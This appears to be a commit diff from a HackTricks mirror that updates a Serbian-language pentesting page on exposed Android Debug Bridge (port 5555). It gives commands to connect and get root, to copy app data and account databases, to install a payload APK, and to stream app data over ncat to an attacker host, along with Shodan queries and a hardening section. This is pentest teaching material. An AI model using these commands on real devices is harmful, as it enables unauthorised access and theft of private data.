mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5555-android-debug-bridge.m
This commit is contained in:
parent
0d1332173b
commit
8c8df79a43
@ -6,40 +6,141 @@
|
||||
|
||||
Iz [dokumentacije](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Bridge** (adb) je svestran alat za komandnu liniju koji vam omogućava da komunicirate sa uređajem. adb komanda olakšava razne radnje na uređaju, kao što su **instaliranje i debagovanje aplikacija**, i pruža **pristup Unix shell-u** koji možete koristiti za izvršavanje raznih komandi na uređaju.
|
||||
Android Debug Bridge (adb) je alat komandne linije za komunikaciju sa uređajima i emulatorima zasnovanim na Androidu. Tipične radnje uključuju instalaciju paketa, debagovanje i dobijanje interaktivnog Unix shell-a na uređaju.
|
||||
|
||||
**Podrazumevani port**: 5555.
|
||||
- Istorijski podrazumevani TCP port: 5555 (klasični "adb tcpip" režim).
|
||||
- Moderno bežično debagovanje (Android 11+) koristi TLS uparivanje i mDNS otkrivanje usluga. Port za povezivanje je dinamičan i otkriva se putem mDNS; možda neće biti 5555. Uparivanje se vrši sa adb pair host:port, a zatim adb connect. Pogledajte beleške u nastavku za ofanzivne implikacije.
|
||||
|
||||
Primer nmap otiska:
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## Poveži se
|
||||
|
||||
Ako pronađeš ADB servis koji radi na portu uređaja i možeš se povezati na njega, **možeš dobiti shell unutar sistema:**
|
||||
Ako pronađeš ADB izložen i dostupan, pokušaj brzo da se povežeš i izvršiš enumeraciju:
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
adb shell
|
||||
adb connect <ip>[:<port>] # Default is 5555 for classic mode
|
||||
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
|
||||
adb shell # Get an interactive shell (uid usually shell)
|
||||
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||
```
|
||||
Za više ADB komandi proverite sledeću stranicu:
|
||||
- Ako uređaj primenjuje ADB autentifikaciju (ro.adb.secure=1), bićete potrebni da budete unapred autorizovani (USB RSA auth) ili da koristite Android 11+ bežično uparivanje za debagovanje (što zahteva jednokratni kod prikazan na uređaju).
|
||||
- Neki proizvođački imidži, inženjerske/userdebug verzije, emulatori, televizori, STB-ovi i razvojni kompleti izlažu adbd bez autentifikacije ili sa adbd koji radi kao root. U tim slučajevima, obično ćete direktno ući u shell ili root shell.
|
||||
|
||||
Za opšti ADB referentni vodič, pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
||||
{{#endref}}
|
||||
|
||||
### Ispusti podatke aplikacije
|
||||
## Brza Post-Exploatacija
|
||||
|
||||
Da biste potpuno preuzeli podatke aplikacije, možete:
|
||||
Kada imate shell, proverite privilegije i SELinux kontekst:
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
|
||||
```
|
||||
Možete koristiti ovu trik da **dobijete osetljive informacije kao što su chrome lozinke**. Za više informacija o ovome proverite informacije u referencama [**ovde**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
### Enumerate and capture data
|
||||
|
||||
- Lista aplikacija trećih strana i putanja:
|
||||
```bash
|
||||
pm list packages -3
|
||||
pm path <pkg>
|
||||
```
|
||||
- Ako imate root (adb root ili su radi), možete pristupiti /data direktno. Ako ne, preferirajte run-as za aplikacije koje se mogu debagovati:
|
||||
```bash
|
||||
# Bez roota, za aplikaciju koja se može debagovati
|
||||
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
|
||||
|
||||
# Sa rootom
|
||||
cp -a /data/data/<pkg> /sdcard/<pkg>
|
||||
exit
|
||||
adb pull "/sdcard/<pkg>"
|
||||
```
|
||||
- Korisni sistemski artefakti (potreban root):
|
||||
- /data/system/users/0/accounts.db i povezani AccountManager podaci
|
||||
- /data/misc/wifi/ (konfiguracije/ključevi mreže na starijim verzijama)
|
||||
- Specifične SQLite DB-ove aplikacija i shared_prefs pod /data/data/<pkg>
|
||||
|
||||
Možete koristiti ovo za preuzimanje osetljivih informacija (npr., tajne aplikacije). Za beleške o razmatranjima podataka Chrome-a, pogledajte problem referenciran [ovde](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
|
||||
### Code execution and payload delivery
|
||||
|
||||
- Instalirajte i automatski dodelite dozvole za vreme izvođenja:
|
||||
```bash
|
||||
adb install -r -g payload.apk # -g dodeljuje sve dozvole za vreme izvođenja navedene u manifestu
|
||||
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
|
||||
```
|
||||
- Pokrenite aktivnosti/usluge/emitovanja direktno:
|
||||
```bash
|
||||
adb shell am start -n <pkg>/<activity>
|
||||
adb shell am startservice -n <pkg>/<service>
|
||||
adb shell am broadcast -a <action>
|
||||
```
|
||||
|
||||
### Port forwarding and pivoting
|
||||
|
||||
Čak i bez roota, adb može preusmeriti lokalne portove na portove uređaja i obrnuto. Ovo je korisno za pristup uslugama vezanim lokalno na uređaju ili za izlaganje usluga napadača uređaju.
|
||||
|
||||
- Preusmeravanje host->uređaj (pristup lokalnoj usluzi uređaja sa vašeg hosta):
|
||||
```bash
|
||||
adb forward tcp:2222 tcp:22 # Ako uređaj pokreće SSH (npr., Termux/Dropbear)
|
||||
adb forward tcp:8081 tcp:8080 # Izložite lokalni debug server aplikacije
|
||||
```
|
||||
- Obrnuto preusmeravanje uređaj->host (omogućite uređaju da dođe do usluge na vašem hostu):
|
||||
```bash
|
||||
adb reverse tcp:1080 tcp:1080 # Aplikacije na uređaju sada mogu doći do host:1080 kao 127.0.0.1:1080
|
||||
```
|
||||
- Ekstrakcija fajlova preko soketa (bez pisanja na sdcard):
|
||||
```bash
|
||||
# Na hostu: slušajte
|
||||
ncat -lvp 9000 > dump.tar
|
||||
# Na uređaju: pošaljite direktorijum kao tar (root ili run-as prema potrebi)
|
||||
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
|
||||
```
|
||||
|
||||
## Wireless Debugging (Android 11+)
|
||||
|
||||
Moderni Android implementira TLS-zaštićeno bežično debagovanje sa uparivanjem sa strane uređaja i mDNS otkrivanjem:
|
||||
```bash
|
||||
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
|
||||
# On attacker host (same L2 network, mDNS allowed):
|
||||
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
|
||||
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
|
||||
adb connect <device_ip>:<conn_port>
|
||||
```
|
||||
Notes
|
||||
- Portovi su dinamični; ne pretpostavljajte 5555. mDNS imena usluga izgledaju ovako:
|
||||
- _adb-tls-pairing._tcp (pariranje)
|
||||
- _adb-tls-connect._tcp (povezivanje)
|
||||
- _adb._tcp (legacy/plain)
|
||||
- Ako je mDNS filtriran, klasično omogućavanje putem USB-a može i dalje raditi na nekim verzijama: `adb tcpip 5555` zatim `adb connect <ip>:5555` (do ponovnog pokretanja).
|
||||
|
||||
Ofanzivne implikacije: ako možete da interagujete sa UI uređaja (npr. fizički pristup ili pogrešna konfiguracija mobilnog MDM) da omogućite bežično debagovanje i vidite kod za pariranje, možete uspostaviti dugotrajni ADB kanal bez kabla. Neki OEM-ovi izlažu ADB preko TCP-a u inženjerskim/dev slikama bez pariranja—uvek proverite.
|
||||
|
||||
## Hardening / Detection
|
||||
|
||||
Defanzivci bi trebali pretpostaviti da je svaki dostupni adbd (TCP) kritički rizik.
|
||||
|
||||
- Onemogućite ADB i bežično debagovanje kada nisu potrebni. Oduzmite ovlašćenja za USB debagovanje u opcijama za programere.
|
||||
- Osigurajte da mrežna politika blokira dolazni TCP/5555 i mDNS zasnovano ADB otkrivanje na nepouzdanim segmentima.
|
||||
- Na uređajima pod vašom kontrolom:
|
||||
```bash
|
||||
settings put global adb_enabled 0
|
||||
setprop service.adb.tcp.port -1 # onemogućite TCP slušanje (ili koristite: adb usb)
|
||||
stop adbd; start adbd # restartujte demon
|
||||
```
|
||||
- Pratite mDNS zapise `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` na korporativnim mrežama i upozorenja za neočekivane 5555 slušaoce.
|
||||
- Inventar za nesigurne verzije: `getprop ro.debuggable`, `ro.build.type`, i `ro.adb.secure`.
|
||||
|
||||
## Shodan
|
||||
|
||||
- `android debug bridge`
|
||||
- android debug bridge
|
||||
- port:5555 product:"Android Debug Bridge"
|
||||
|
||||
## References
|
||||
|
||||
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
|
||||
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user